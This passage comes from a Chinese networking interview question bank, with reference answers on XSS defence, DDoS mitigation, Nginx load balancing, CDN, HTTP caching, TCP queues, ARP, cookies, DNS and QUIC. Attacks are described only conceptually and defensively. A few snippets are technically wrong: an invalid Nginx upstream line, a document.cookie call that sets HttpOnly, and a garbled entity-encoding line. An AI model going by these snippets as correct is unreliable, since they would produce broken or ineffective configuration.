<!-- 其他用户查看评论时,Cookie 被发送到攻击者服务器 -->防御方案:
- 输入输出编码(核心防御):
- 对用户输入做 HTML 实体编码:
<→<、>→>、"→"、'→' - 根据上下文选择编码方式(HTML 上下文、JS 上下文、URL 上下文)
- 对用户输入做 HTML 实体编码:
- CSP(Content Security Policy):
Content-Security-Policy: default-src 'self'; script-src 'self'- 限制脚本来源,禁止内联脚本和外部脚本
- HttpOnly Cookie:
Set-Cookie: sessionid=xxx; HttpOnly- JavaScript 无法读取 Cookie,即使 XSS 成功也无法窃取
- 避免危险 API:
- 不用
innerHTML、document.write(),用textContent或createElement - 框架默认转义(Vue 的
、React 的{}默认编码,v-html和dangerouslySetInnerHTML才有风险)
- 不用
追问延伸:
- 存储型 XSS 和反射型 XSS 哪个更危险?(存储型,影响面更大)
- CSP 怎么配置才能有效防 XSS?
Q27: DDoS 攻击是什么?怎么防御? 「🔴 高级」
考察点:大规模网络攻击的防御思路。
参考答案:
DDoS(Distributed Denial of Service,分布式拒绝服务):攻击者控制大量僵尸网络(Botnet),同时向目标发送海量请求,耗尽带宽/连接/资源导致正常用户无法访问。
DDoS 攻击类型:
| 类型 | 攻击层 | 手段 | 示例 |
|---|---|---|---|
| 流量型 | 网络层(L3) | 海量流量拥塞带宽 | SYN Flood、UDP Flood、ICMP Flood |
| 协议型 | 传输层(L4) | 耗尽连接资源 | SYN Flood、连接耗尽 |
| 应用层 | 应用层(L7) | 模拟正常请求消耗资源 | HTTP Flood、CC 攻击、慢速攻击 |
防御方案(多层防御):
- 网络层/传输层:
- 流量清洗:CDN/云防护(Cloudflare、AWS Shield、阿里云 DDoS 高防)在骨干网拦截
- SYN Cookie:不在半连接队列分配资源,防范 SYN Flood
- 限速 + 黑名单:iptables/防火墙限制单 IP 请求速率
- BGP 黑洞:极端情况把攻击流量路由到 null
- 应用层:
- WAF(Web Application Firewall):识别异常请求模式
- 验证码:人机识别,防机器流量
- 限流降级:单 IP/单用户 QPS 限制,超限返回 429
- 缓存 + 静态化:大量请求命中缓存,不穿透到应用
- 架构层:
- 弹性扩容:云服务器自动扩展扛住流量
- 负载均衡:多台服务器分摊压力
- 降级/熔断:非核心功能降级,保核心链路
- Anycast DNS:将流量分散到多个节点
追问延伸:
- SYN Flood 攻击的原理和 SYN Cookie 防御?
- CC 攻击和 DDoS 的区别?(CC 是应用层 DDoS 的一种)
Q28: Nginx 的负载均衡算法有哪些? 「🟡 中级」
考察点:Nginx 负载均衡的配置和理解。
参考答案:
Nginx 负载均衡策略:
| 策略 | 配置 | 原理 | 适用场景 |
|---|---|---|---|
| 轮询(默认) | 不指定 | 按顺序逐一分配 | 服务器性能相近 |
| 加权轮询 | weight=N | 按权重比例分配 | 服务器性能不同 |
| IP Hash | ip_hash | 对客户端 IP Hash 取模固定分配 | 需要 Session 粘性 |
| 最少连接 | least_conn | 分配给连接数最少的服务器 | 长连接场景 |
| 一致性 Hash | hash $key consistent | 对 Key Hash 映射到环上 | 缓存代理 |
| 随机 | random | 随机选一个 | 简单场景 |
配置示例:
nginx
upstream backend {
# 加权轮询
server 192.168.1.1:8080 weight=3;
server 192.168.1.2:8080 weight=1;
server 192.168.1.3:8080 weight=2;
# ip_hash; # 取消注释则启用 IP Hash
# least_conn; # 取消注释则启用最少连接
# 健康检查(被动)
max_fails=3 fail_timeout=30s; # 30秒内失败3次则标记不可用
}健康检查:
- Nginx 开源版:被动检查(请求失败达到阈值后标记不可用)
- Nginx Plus / 第三方模块:主动健康检查(定期探测)
Nginx 在七层模型中的位置:
- 工作在应用层(L7),可以做基于 HTTP Header、URL 的负载均衡
- 也可以做 L4(TCP/UDP)代理(
stream模块)
追问延伸:
- IP Hash 能完全替代 Session 共享吗?(不能,服务器增减时 Hash 重新分布)
- Nginx 为什么用 epoll 能做到高性能?(事件驱动 + 单线程非阻塞 + 多进程)
Q29: 正向代理和反向代理的区别? 「🟡 中级」
考察点:代理方向的理解。
参考答案:
| 维度 | 正向代理 | 反向代理 |
|---|---|---|
| 代理方向 | 代理客户端 | 代理服务端 |
| 客户端感知 | 知道有代理 | 不知道有代理 |
| 服务端感知 | 以为请求来自代理 | 知道有代理 |
| 用途 | 翻墙、缓存、隐藏客户端 IP | 负载均衡、缓存、SSL 终端、隐藏服务端 |
| 典型工具 | Squid、Shadowsocks、V2Ray | Nginx、HAProxy、CDN |
正向代理场景:
- 客户端无法直接访问目标服务器,通过代理转发
- 例:公司内网通过代理上网;VPN 翻墙
反向代理场景:
- 客户端访问代理服务器,代理转发到内部服务集群
- 例:Nginx 反向代理后端 API 服务;CDN 节点反向代理源站
CDN 本质是反向代理 + 就近接入 + 缓存。
追问延伸:
- Nginx 既能做正向代理也能做反向代理吗?(主要做反向代理,正向代理需额外配置/模块)
- 负载均衡和反向代理的关系?(反向代理是实现负载均衡的方式之一)
Q30: CDN 的原理是什么? 「🟡 中级」
考察点:CDN 加速的核心机制。
参考答案:
CDN(Content Delivery Network,内容分发网络):通过在全球部署边缘节点,让用户就近获取内容,降低延迟、减轻源站压力。
CDN 工作流程:
- 用户访问
www.example.com→ DNS 解析 - 智能 DNS:根据用户 IP 地理位置,返回最近的 CDN 边缘节点 IP
- 用户向 CDN 节点请求资源
- CDN 节点检查缓存:
- 缓存命中:直接返回缓存内容
- 缓存未命中:CDN 向源站回源获取内容 → 缓存 → 返回给用户
CDN 加速的内容类型:
- 静态内容:图片、CSS、JS、视频 → 命中率高,加速效果最好
- 动态内容:API 请求 → 通过就近接入 + 链路优化(动态加速)减少网络延迟
CDN 缓存策略:
- 大文件(图片/视频):按 Hash 分片缓存,预热推送
- 小文件(CSS/JS):通过版本号/Hash 实现缓存更新(
app.v2.3.1.js) - HTML:短 TTL 或不缓存(避免更新不及时)
CDN 的收益:
- 降低 RTT(就近节点)
- 减轻源站带宽压力
- 抗 DDoS(流量分散到 CDN 节点)
- 提高可用性(单节点故障自动切换)
追问延伸:
- CDN 怎么做缓存更新?(主动推送 + TTL 过期 + 版本号)
- 直播的 CDN 和普通 CDN 有什么区别?(低延迟优化 + 流媒体协议 HLS/RTMP/WebRTC)
Q31: 浏览器缓存机制是什么?强缓存和协商缓存的区别? 「🟡 中级」
考察点:HTTP 缓存机制的深入理解。
参考答案:
浏览器缓存流程:
- 强缓存:不发请求,直接用本地缓存(状态码 200,
from disk cache/from memory cache) - 协商缓存:发请求询问服务器资源是否修改 → 未修改返回 304 → 用本地缓存
- 都不命中 → 发请求获取完整资源
强缓存相关 Header:
| Header | 说明 |
|---|---|
Cache-Control: max-age=3600 | 缓存有效期 3600 秒(HTTP/1.1,优先级高) |
Cache-Control: no-cache | 强制每次都走协商缓存 |
Cache-Control: no-store | 完全不缓存 |
Cache-Control: public/private | 是否允许中间代理缓存 |
Expires: Wed, 21 Oct 2025 07:28:00 GMT | 绝对过期时间(HTTP/1.0,受本地时间影响) |
协商缓存相关 Header:
| 优先级 | 请求 Header | 响应 Header | 说明 |
|---|---|---|---|
| 高 | If-None-Match: "abc123" | ETag: "abc123" | 资源内容的 Hash,精确 |
| 低 | If-Modified-Since: Wed, ... | Last-Modified: Wed, ... | 资源最后修改时间 |
缓存决策流程图:
请求资源
├─ 有缓存?
│ ├─ 否 → 发请求获取
│ └─ 是 → Cache-Control/Expires 是否过期?
│ ├─ 没过期 → 强缓存命中(200 from cache)
│ └─ 过期 → 发协商缓存请求
│ ├─ ETag 匹配?→ 304 Not Modified → 用缓存
│ ├─ Last-Modified 匹配?→ 304 → 用缓存
│ └─ 不匹配 → 200 + 新资源 + 新缓存标识ETag vs Last-Modified:
- Last-Modified 精度到秒,1秒内多次修改无法感知
- ETag 是内容 Hash,更精确,但服务端计算有开销
- 文件内容没变但修改时间变了(如重新部署)→ Last-Modified 会误判,ETag 不会
追问延伸:
no-cache和no-store的区别?- 怎么让用户立刻看到更新后的 CSS/JS?(文件名加 Hash/版本号 + HTML 不缓存)
Q32: TCP 滑动窗口和流量控制是怎样的? 「🟡 中级」
考察点:TCP 流量控制机制的理解。
参考答案:
滑动窗口:TCP 发送方维持一个窗口,窗口内的数据可以连续发送而不必等待确认,提高传输效率。
滑动窗口四个关键指针:
发送窗口
|←─── 已确认 ───→|←── 未确认但已发送 →|←── 未发送但可发 →|←── 不可发 →|
^ ^
已发送未确认 可发送未发送- 窗口左沿 = 已确认的最大序号 + 1
- 窗口右沿 = 窗口左沿 + 窗口大小 - 1
- 收到 ACK 后窗口左沿右移(窗口滑动)
- 窗口大小由接收方通过 ACK 报文中的窗口字段通告
流量控制:接收方通过通告窗口大小控制发送方速率,防止接收方被淹没。
- 接收方缓冲区快满 → 通告小窗口 → 发送方降速
- 接收方缓冲区空 → 通告大窗口 → 发送方提速
- 极端情况:通告窗口=0(Zero Window)→ 发送方停止发送,定期发窗口探测报文确认窗口是否恢复
糊涂窗口综合征(Silly Window Syndrome):
- 接收方缓冲区只有很少空间就通告小窗口 → 发送方发小包 → 效率低
- 解决:Nagle 算法(发送方:小包攒够了再发)+ Clark 算法(接收方:窗口太小就不通告)
发送窗口 = min(接收窗口 rwnd, 拥塞窗口 cwnd):
- rwnd:接收方告诉发送方"我能收多少"(流量控制)
- cwnd:发送方自己感知网络能承受多少(拥塞控制)
追问延伸:
- Nagle 算法和延迟 ACK 有什么冲突?
- 窗口为 0 后发送方怎么知道什么时候可以继续发?
Q33: ARP 协议的作用和原理是什么? 「🟢 校招/初级」
考察点:数据链路层地址解析的基础。
参考答案:
ARP(Address Resolution Protocol,地址解析协议):将 IP 地址解析为 MAC 地址。
为什么需要 ARP:
- 网络层用 IP 地址(逻辑地址),数据链路层用 MAC 地址(物理地址)
- 局域网内通信需要知道目标 MAC 地址才能封装以太网帧
- ARP 完成 IP → MAC 的映射
ARP 工作流程:
- 主机 A 要给同一子网的主机 B(IP: 192.168.1.5)发包
- A 查 ARP 缓存表 → 没找到 B 的 MAC
- A 广播 ARP 请求:
"谁是 192.168.1.5?请把你的 MAC 告诉 192.168.1.1" - 局域网所有主机收到请求 → B 匹配自己的 IP → 单播回复 ARP 响应:
"192.168.1.5 的 MAC 是 aa:bb:cc:dd:ee:ff" - A 缓存 B 的 IP-MAC 映射(ARP 表),有效期通常 20 分钟
ARP 缓存表(arp -a 查看):
192.168.1.5 aa-bb-cc-dd-ee-ff 动态
192.168.1.1 00-11-22-33-44-55 动态跨网段通信:
- A 要发给不同子网的 C → 先找网关的 MAC
- A 发 ARP 请求找网关 IP 的 MAC → 网关回复 → A 把数据包发给网关 MAC
- 网关逐跳转发,每一跳都做 ARP
ARP 欺骗(安全风险):
- 攻击者伪造 ARP 响应,把自己的 MAC 和网关 IP 关联
- 其他主机把流量发给攻击者 → 中间人攻击
- 防御:静态 ARP 绑定、DHCP Snooping、ARP 检测
追问延伸:
- ARP 请求是广播还是单播?ARP 响应呢?(请求广播,响应单播)
- ARP 和 DNS 有什么相似之处?(都是地址映射,ARP 是 IP→MAC,DNS 是域名→IP)
Q34: Socket 编程模型是什么?TCP 和 UDP 的 Socket 有什么区别? 「🟡 中级」
考察点:网络编程的实践理解。
参考答案:
Socket 是对 TCP/UDP 协议的封装,提供应用编程接口(API),让开发者不用关心协议细节。
TCP Socket 编程流程(C/S 模型):
服务端 客户端
socket() → 创建socket socket() → 创建socket
│ │
bind() → 绑定IP+端口 │
│ │
listen() → 监听连接 │
│ │
accept() ← 等待连接 ← connect() │
│ (三次握手) │
│ │
recv() ← 数据 ← send() │
send() → 数据 → recv() │
│ │
close() → 关闭 ← close() │
(四次挥手)关键 API:
socket(domain, type, protocol):创建 socketbind(fd, addr, len):绑定地址listen(fd, backlog):开始监听,backlog 为等待队列长度accept(fd, ...):阻塞等待新连接,返回新 socket fdconnect(fd, addr, ...):主动连接服务端send()/recv()或read()/write():数据收发close(fd):关闭连接
UDP Socket 编程流程(更简单):
服务端 客户端
socket() → 创建socket socket() → 创建socket
│ │
bind() → 绑定IP+端口 │
│ │
recvfrom() ← 等待数据 ← sendto() │
sendto() → 回复数据 → recvfrom()│
│ │
close() close()区别:
- TCP 有
listen/accept/connect,UDP 没有(无连接) - TCP 用
send/recv(面向连接),UDP 用sendto/recvfrom(指定地址) - TCP socket fd 对应一个连接,UDP socket fd 可以收发多个对端
Java 中的 Socket:
java
// TCP Server
ServerSocket server = new ServerSocket(8080);
Socket client = server.accept(); // 阻塞等待
InputStream in = client.getInputStream();
OutputStream out = client.getOutputStream();
// TCP Client
Socket socket = new Socket("127.0.0.1", 8080);
// UDP
DatagramSocket socket = new DatagramSocket(8080);
DatagramPacket packet = new DatagramPacket(buf, buf.length);
socket.receive(packet); // 阻塞等待追问延伸:
- accept 返回的 socket 和 listen 的 socket 有什么区别?(listen 的只管接连接,新 socket 独立收发数据)
- IO 多路复用怎么和 Socket 配合?(epoll 监听多个 socket fd 的事件)
Q35: ICMP 协议的作用是什么?ping 和 traceroute 的原理? 「🟢 校招/初级」
考察点:网络层辅助协议的理解。
参考答案:
ICMP(Internet Control Message Protocol,互联网控制报文协议):用于在 IP 主机、路由器之间传递控制消息和差错报告。
ICMP 不是传输数据的协议,而是网络层的辅助协议,帮助诊断网络问题。
ICMP 主要功能:
| 类型 | 消息 | 用途 |
|---|---|---|
| 0/8 | Echo Reply/Request | ping 的基础 |
| 3 | Destination Unreachable | 目标不可达(路由器找不到路径) |
| 5 | Redirect | 路由重定向(告诉主机有更优路由) |
| 11 | Time Exceeded | TTL 超时(traceroute 的基础) |
| 12 | Parameter Problem | IP 首部参数错误 |
ping 原理:
- 发送 ICMP Echo Request(Type=8)到目标
- 目标收到后回复 ICMP Echo Reply(Type=0)
- 计算往返时间(RTT)
- 可测连通性、延迟、丢包率
traceroute 原理(利用 TTL 超时):
- 发送 TTL=1 的 IP 包 → 第一跳路由器收到后 TTL 减为 0 → 丢弃并返回 ICMP Time Exceeded
- 发送 TTL=2 的包 → 第二跳路由器返回 Time Exceeded
- 逐跳递增 TTL → 每跳返回 ICMP → 记录路径上每台路由器的 IP
- 到达目标后目标返回 Echo Reply → 结束
$ ping 8.8.8.8
PING 8.8.8.8: 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=117 time=12.3 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=11.8 ms
$ traceroute 8.8.8.8
1 192.168.1.1 1.2 ms ← TTL=1, 第一跳(网关)
2 10.0.0.1 5.3 ms ← TTL=2, 第二跳
3 ... ← 逐跳探测注意:ICMP 使用 IP 协议传输,但不属于传输层,工作在网络层。
追问延伸:
- 为什么有些服务器 ping 不通但 HTTP 能访问?(防火墙过滤了 ICMP,但允许 TCP 80/443)
- ICMP 属于哪一层?(网络层,和 IP 同层)
Q36: HTTP 是无状态的吗?Cookie/Session/Token 如何维持状态? 「🟡 中级」
考察点:HTTP 无状态特性的理解。
参考答案:
HTTP 是无状态的:每个请求独立,服务器不会记录前一次请求的状态。好处是简单、可扩展;缺点是需要额外机制维持状态。
状态维持方案:
| 方案 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| Cookie | 服务器返回 Set-Cookie,浏览器存储后自动携带 | 简单、自动 | 安全性低、大小限制 4KB |
| Session | 服务器存储会话,Cookie 只存 SessionID | 安全、灵活 | 占用服务器内存、集群困难 |
| Token (JWT) | 客户端存储 Token,请求时携带 | 无状态、适合集群 | 无法主动失效、大小较大 |
http
// Cookie 方案
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
// 后续请求自动携带
GET /profile HTTP/1.1
Cookie: sessionid=abc123http
// Token 方案
GET /api/profile HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMTAwMSJ9.xxx追问延伸:
- 为什么说 Cookie 让 HTTP 变成"有状态"了?(Cookie 机制是 HTTP 扩展,不是协议本身的一部分)
- Token 为什么更适合微服务架构?(无状态、不需要共享 Session 存储)
Q37: 客户端禁用 Cookie,Session 还能用吗? 「🟡 中级」
考察点:Session 维持机制的灵活理解。
参考答案:
可以,Cookie 只是 SessionID 的传输方式之一。禁用 Cookie 后可以改用 URL 参数或隐藏表单字段:
html
<!-- 方式1:URL 重写 -->
<a href="/profile;jsessionid=abc123">Profile</a>
<!-- 方式2:隐藏表单字段 -->
<form action="/login" method="post">
<input type="hidden" name="jsessionid" value="abc123">
<input type="text" name="username">
</form>
<!-- 方式3:Token 方案(推荐) -->
<!-- 不依赖 Cookie,用 Authorization 头 -->
GET /api/profile
Authorization: Bearer <token>| 方式 | 优点 | 缺点 |
|---|---|---|
| Cookie | 自动、安全 | 可被禁用 |
| URL 重写 | 不依赖 Cookie | URL 暴露 SessionID、安全风险 |
| 隐藏字段 | 不依赖 Cookie | 仅限 POST 请求 |
| Token | 不依赖 Cookie、跨域 | 需要手动管理 Token |
现代方案:用 Token(JWT)替代 Session + Cookie,彻底避免 Cookie 禁用问题。
追问延伸:
- URL 中的 SessionID 有什么安全风险?(可能被 Referer 泄露、被日志记录)
- SameSite Cookie 属性有什么用?(限制跨站 Cookie 发送,防 CSRF)
Q38: localStorage 和 Cookie 有什么区别?什么数据应该存哪里? 「🟡 中级」
考察点:前端存储方案的选型。
参考答案:
| 维度 | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| 大小 | 4KB | 5~10MB | 5~10MB | 大容量 |
| 生命周期 | 可设过期时间 | 永久 | 关闭标签即失效 | 永久 |
| 是否自动发送 | 是(每次 HTTP 请求) | 否 | 否 | 否 |
| API | document.cookie | localStorage | sessionStorage | 异步 API |
| 服务端可读 | 是 | 否 | 否 | 否 |
| 适用场景 | 鉴权 Token、跟踪 | 本地缓存 | 临时数据 | 离线存储 |
javascript
// Cookie:适合少量需要服务端读取的数据
document.cookie = "token=abc123; Secure; HttpOnly; SameSite=Strict"
// localStorage:适合大量本地数据
localStorage.setItem('user', JSON.stringify({name: 'Alice', theme: 'dark'}))
const user = JSON.parse(localStorage.getItem('user'))
// sessionStorage:适合会话级临时数据
sessionStorage.setItem('draft', '编辑中的内容...')数据存放原则:
- 鉴权信息 → Cookie(HttpOnly + Secure)或 Token in localStorage
- 用户偏好(主题/语言)→ localStorage | 表单临时数据 → sessionStorage
- 大文件/离线数据 → IndexedDB
安全注意事项:
- 不要在 localStorage 存敏感信息(XSS 可窃取)
- Cookie 设 HttpOnly 防 XSS、SameSite 防 CSRF
- Token 存在 localStorage 时注意 XSS 防护
追问延伸:
- Cookie 的 HttpOnly 是什么意思?(JS 不能读取该 Cookie,防 XSS)
- localStorage 存 Token 有什么风险?(XSS 攻击可读取 Token)
Q39: DNS 底层使用 TCP 还是 UDP?DNS 劫持是什么? 「🟡 中级」
考察点:DNS 协议细节和安全。
参考答案:
DNS 同时使用 TCP 和 UDP:
| 场景 | 协议 | 原因 |
|---|---|---|
| 普通查询 | UDP(53 端口) | 查询小、要求快、UDP 无连接开销 |
| 响应超过 512 字节 | TCP | UDP 报文有大小限制,大响应用 TCP |
| 区域传送(主从同步) | TCP | 数据量大、需要可靠传输 |
DNS 劫持:
- DNS 查询被拦截/篡改,返回错误的 IP 地址
- 用户访问
bank.com被解析到攻击者的服务器
正常:用户 → DNS 查询 bank.com → 返回 1.2.3.4(真实银行 IP)
劫持:用户 → DNS 查询 bank.com → 返回 5.6.7.8(攻击者 IP)DNS 劫持的防御:
- DNSSEC(DNS Security Extensions):对 DNS 响应做数字签名,验证真实性
- DNS over HTTPS / DNS over TLS:加密 DNS 查询,防止中间人篡改
- HTTPDNS:绕过传统 DNS,直接通过 HTTP 获取解析结果(阿里/腾讯方案)
- 客户端绑定域名 IP(如 host 文件)
追问延伸:
- DoH(DNS over HTTPS)和传统 DNS 有什么区别?(加密传输,防止 ISP/中间人篡改)
- 为什么 DNS 用 UDP 而不用 TCP?(查询小、低延迟、无连接开销)
Q40: 怎么用 UDP 实现 HTTP?QUIC 协议了解吗? 「🔴 高级」
考察点:HTTP/3 和 QUIC 的理解。
参考答案:
HTTP/3 基于 QUIC 协议,QUIC 基于 UDP:
HTTP/1.1: HTTP → TCP → IP
HTTP/2: HTTP → TCP → IP
HTTP/3: HTTP → QUIC → UDP → IP为什么不用 TCP 了:
- TCP 队头阻塞:一个包丢失,后续所有流被阻塞
- TCP 握手慢:TCP 三次握手 + TLS 握手 = 3~4 RTT
- TCP 是内核实现的,升级困难
QUIC 的优势:
| 特性 | 说明 |
|---|---|
| 多路复用无队头阻塞 | 每个流独立,一个流丢包不影响其他流 |
| 快速握手 | 1 RTT(首次)或 0 RTT(重连) |
| 连接迁移 | 基于 Connection ID,切换网络(WiFi→4G)不断连接 |
| 前向纠错 | 丢包恢复不需要重传等待 |
| 内置 TLS 1.3 | 加密是协议的一部分 |
QUIC 在 UDP 上实现可靠传输:
- 在 UDP 之上实现类似 TCP 的可靠性(ACK、重传、拥塞控制)
- 但在应用层实现,更灵活、可快速迭代
TCP: 内核实现,升级需要 OS 更新
QUIC: 应用层实现,部署更新只需升级服务端/客户端软件追问延伸:
- HTTP/2 的队头阻塞和 HTTP/3 有什么不同?(HTTP/2 是 TCP 层的队头阻塞,HTTP/3 解决了)
- QUIC 如何实现 0-RTT?(利用之前连接的密钥,首个请求携带数据)
Q41: TCP 连接建立后,什么情况下会中断? 「🟡 中级」
考察点:TCP 连接管理的全面理解。
参考答案:
TCP 连接中断的场景:
1. 正常关闭(四次挥手):
- 任意一方发 FIN → 正常关闭
2. 异常断开:
| 场景 | 原因 | 现象 |
|---|---|---|
| 进程崩溃 | 进程退出 → OS 发 FIN/RST | 对端收到 RST |
| 网络断开 | 网线拔了/路由器宕机 | 无响应 → TCP 保活超时后关闭 |
| 防火墙/NAT 超时 | NAT 表项超时(默认 5 分钟) | 连接被 NAT 设备丢弃 |
| 服务器过载 | 资源耗尽 → 主动断开 | 客户端收到 RST |
3. TCP 保活机制(Keep-Alive):
bash
# Linux TCP keepalive 参数
net.ipv4.tcp_keepalive_time = 7200 # 空闲 7200 秒后发探测包
net.ipv4.tcp_keepalive_intvl = 75 # 每 75 秒发一次
net.ipv4.tcp_keepalive_probes = 9 # 最多探测 9 次
# 总计:7200 + 75×9 = 7875 秒(约 2 小时 11 分)后才断开4. 应用层心跳:
- TCP Keep-Alive 时间太长,应用层通常自己实现心跳
- 如 Netty 的
IdleStateHandler、WebSocket 的 Ping/Pong
java
// Netty 心跳示例
new IdleStateHandler(30, 0, 0, TimeUnit.SECONDS) // 30秒无读 → 心跳
// 客户端发 Ping → 服务端回 Pong
// 超时无响应 → 关闭连接5. RST 复位:
- 访问不存在的端口 → RST
- 请求超时被服务端拒绝 → RST
- SO_LINGER 设置为 0 → close 时直接发 RST
追问延伸:
- TCP 连接"假死"怎么检测?(应用层心跳比 TCP Keep-Alive 更可靠)
- RST 和 FIN 的区别?(RST 是异常关闭,FIN 是正常关闭)
Q42: 四次挥手能变成三次吗?TCP 延迟确认是什么? 「🟡 中级」
考察点:TCP 挥手优化的理解。
参考答案:
四次挥手可以变成三次,当被动关闭方没有待发送的数据时:
正常四次挥手:
A → FIN → B (A 请求关闭)
B → ACK → A (B 确认收到)
B → FIN → A (B 数据发完,请求关闭)
A → ACK → B (A 确认收到)
三次挥手(B 无待发数据时):
A → FIN → B (A 请求关闭)
B → ACK + FIN → A (B 确认收到 + 同时请求关闭,合并)
A → ACK → B (A 确认收到)合并的条件:被动关闭方收到 FIN 时,恰好没有待发送的数据(发送缓冲区为空),可以把 ACK 和 FIN 合并为一个报文。
TCP 延迟确认(Delayed ACK):
- 接收方收到数据后不立即回 ACK,等一小段时间(通常 40~200ms)
- 如果在这段时间内有数据要发,ACK 随数据一起发送(捎带确认)
- 如果没有数据要发,超时后单独发 ACK
bash
# Linux 延迟 ACK 参数
net.ipv4.tcp_delack_min = 1 # 最小延迟确认时间(ms)
# TCP_QUICKACK 选项可以禁用延迟确认延迟确认和四次挥手的关系:
- 被动关闭方收到 FIN 后先回 ACK(延迟确认可能延迟这个 ACK)
- 如果在延迟时间内没有数据要发,ACK 和 FIN 分开发送 → 四次挥手
- 如果有数据要发,可以捎带 ACK,之后单独发 FIN → 仍然是四次
- 特殊情况:延迟 ACK 超时前刚好发完所有数据 → ACK + FIN 合并 → 三次挥手
追问延伸:
- 延迟确认有什么好处?(减少纯 ACK 报文,节省带宽)
- 延迟确认有什么副作用?(增加延迟,可能导致 Nagle 算法和延迟确认互相等待)
Q43: SYN 队列和 Accept 队列是什么?半连接和全连接有什么区别? 「🔴 高级」
考察点:TCP 连接队列的底层理解。
参考答案:
两个队列:
SYN Queue Accept Queue
(半连接队列) (全连接队列)
客户端 SYN → [SYN_RCVD] [ESTABLISHED]
↓ ↓
服务端回 SYN+ACK accept() 取出
↓ ↓
客户端 ACK → 移到 Accept Queue 返回 Socket FD| 队列 | 状态 | 含义 |
|---|---|---|
| SYN Queue | SYN_RCVD | 收到 SYN,等待第三次 ACK |
| Accept Queue | ESTABLISHED | 连接已建立,等待 accept() |
队列大小:
bash
# 半连接队列大小
net.ipv4.tcp_max_syn_backlog = 8192
# 全连接队列大小 = min(somaxconn, backlog)
net.core.somaxconn = 4096
# listen(fd, backlog) 中的 backlog
# 查看
ss -lnt # Recv-Q = 全连接队列当前长度, Send-Q = 全连接队列最大值队列满了会怎样:
| 队列 | 满了的行为 | 配置 |
|---|---|---|
| SYN Queue | 默认丢弃 SYN(客户端重试) | tcp_syncookies 开启后用 SYN Cookie |
| Accept Queue | 默认丢弃 ACK(客户端重发) | tcp_abort_on_overflow=1 时回 RST |
SYN Flood 攻击:
- 攻击者发大量 SYN,但不回 ACK → 半连接队列满 → 正常连接无法建立
- 防御:SYN Cookie(不分配半连接资源,在 SYN+ACK 中编码连接信息)
实际排查:
bash
# 查看连接队列状态
netstat -s | grep -i "listen"
# "overflowed" = 全连接队列溢出次数
# "dropped" = 半连接队列丢弃次数
# 查看 accept queue
ss -lnt
# Recv-Q > 0 说明有连接堆积追问延伸:
- SYN Cookie 怎么工作的?(用 ISN 编码源 IP/端口/MSS,不保存半连接状态)
- accept() 什么时候返回?(全连接队列非空时返回,否则阻塞或 EAGAIN)
Q44: HTTP/2 的多路复用解决了什么问题?还有什么队头阻塞? 「🟡 中级」
考察点:HTTP/2 核心特性的理解。
参考答案:
HTTP/1.1 的问题:
- 管道化(Pipelining)不实用:响应必须按请求顺序返回(HTTP 层队头阻塞)
- 浏览器限制每个域名最多 6 个并发连接
- 头部冗余:每次请求携带完整头部(Cookie、User-Agent 等)
HTTP/2 的多路复用:
- 一个 TCP 连接上并行多个请求/响应(Stream)
- 每个请求/响应是一个 Stream,带唯一 Stream ID
- 帧可以交错传输(请求 A 的帧和请求 B 的帧可以交替)
HTTP/1.1:6 个连接 × 串行
[Conn1: Req1 → Resp1][Req2 → Resp2]...
[Conn2: Req7 → Resp7]...
HTTP/2:1 个连接 × 并行
[Conn: Stream1(frame) | Stream3(frame) | Stream1(frame) | Stream5(frame)]HTTP/2 的其他特性:
- 头部压缩:HPACK 算法,用索引表压缩重复头部
- 服务端推送:服务端可主动推送资源(CSS/JS)
- 二进制帧:二进制格式,解析比文本高效
HTTP/2 残留的队头阻塞:
- HTTP/2 解决了 HTTP 层 的队头阻塞
- 但 TCP 层 仍有队头阻塞:一个 TCP 包丢失,所有 Stream 的数据被阻塞
- 这就是 HTTP/3 用 QUIC(UDP)的原因
| 版本 | 队头阻塞 |
|---|---|
| HTTP/1.1 | HTTP 层 + TCP 层 |
| HTTP/2 | TCP 层(HTTP 层已解决) |
| HTTP/3 | 无(QUIC 每个 Stream 独立) |
追问延伸:
- HTTP/2 的服务端推送为什么实际用得少?(缓存管理复杂、推送的资源可能已在客户端缓存)
- HPACK 怎么压缩头部?(静态表 + 动态表 + Huffman 编码)
Q45: Cookie 的属性有哪些?SameSite 有什么作用? 「🟡 中级」
考察点:Cookie 安全属性的全面理解。
参考答案:
Cookie 的完整属性:
| 属性 | 作用 | 示例 |
|---|---|---|
| Name=Value | Cookie 键值对 | token=abc123 |
| Domain | 生效域名 | Domain=.example.com |
| Path | 生效路径 | Path=/api |
| Expires/Max-Age | 过期时间 | Max-Age=3600 |
| Secure | 仅 HTTPS 传输 | Secure |
| HttpOnly | JS 不可读 | HttpOnly |
| SameSite | 跨站策略 | SameSite=Strict |
SameSite 属性(防 CSRF 的关键):
| 值 | 行为 | 适用场景 |
|---|---|---|
| Strict | 完全不发送跨站 Cookie | 银行、支付 |
| Lax(默认) | 导航请求发送,其他不发送 | 一般网站(Chrome 默认值) |
| None | 跨站都发送(需配合 Secure) | 第三方 Cookie(广告、嵌入) |
http
// 防御 CSRF
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// 第三方服务(如嵌入视频)
Set-Cookie: tracking=xyz; SameSite=None; SecureSameSite=Lax 的具体行为:
- 跨站 GET 导航(点击链接跳转)→ 发送 Cookie
- 跨站 POST/PUT → 不发送 Cookie
- 跨站 AJAX/Fetch → 不发送 Cookie
<img>/<iframe>请求 → 不发送 Cookie
安全最佳实践:
Set-Cookie: token=xxx;
HttpOnly; // 防 XSS 读取
Secure; // 仅 HTTPS
SameSite=Lax; // 防 CSRF(默认)
Max-Age=3600; // 1小时过期
Path=/; // 全站有效追问延伸:
- 为什么 Chrome 把默认值改成了 SameSite=Lax?(减少 CSRF 风险和用户追踪)
- SameSite=None 为什么要配合 Secure?(Chrome 要求 SameSite=None 必须配合 Secure)
Q46: 服务器能启动但客户端请求不到,有哪些原因?如何排查? 「🟡 中级」
考察点:网络故障排查能力。
参考答案:
排查思路:从近到远,逐层排除。
应用层 → 传输层 → 网络层 → 物理层
应用 端口 IP/路由 网络1. 应用是否真的启动了?
bash
# 检查进程
ps aux | grep myapp
# 检查端口
netstat -tlnp | grep 8080
ss -tlnp | grep 8080
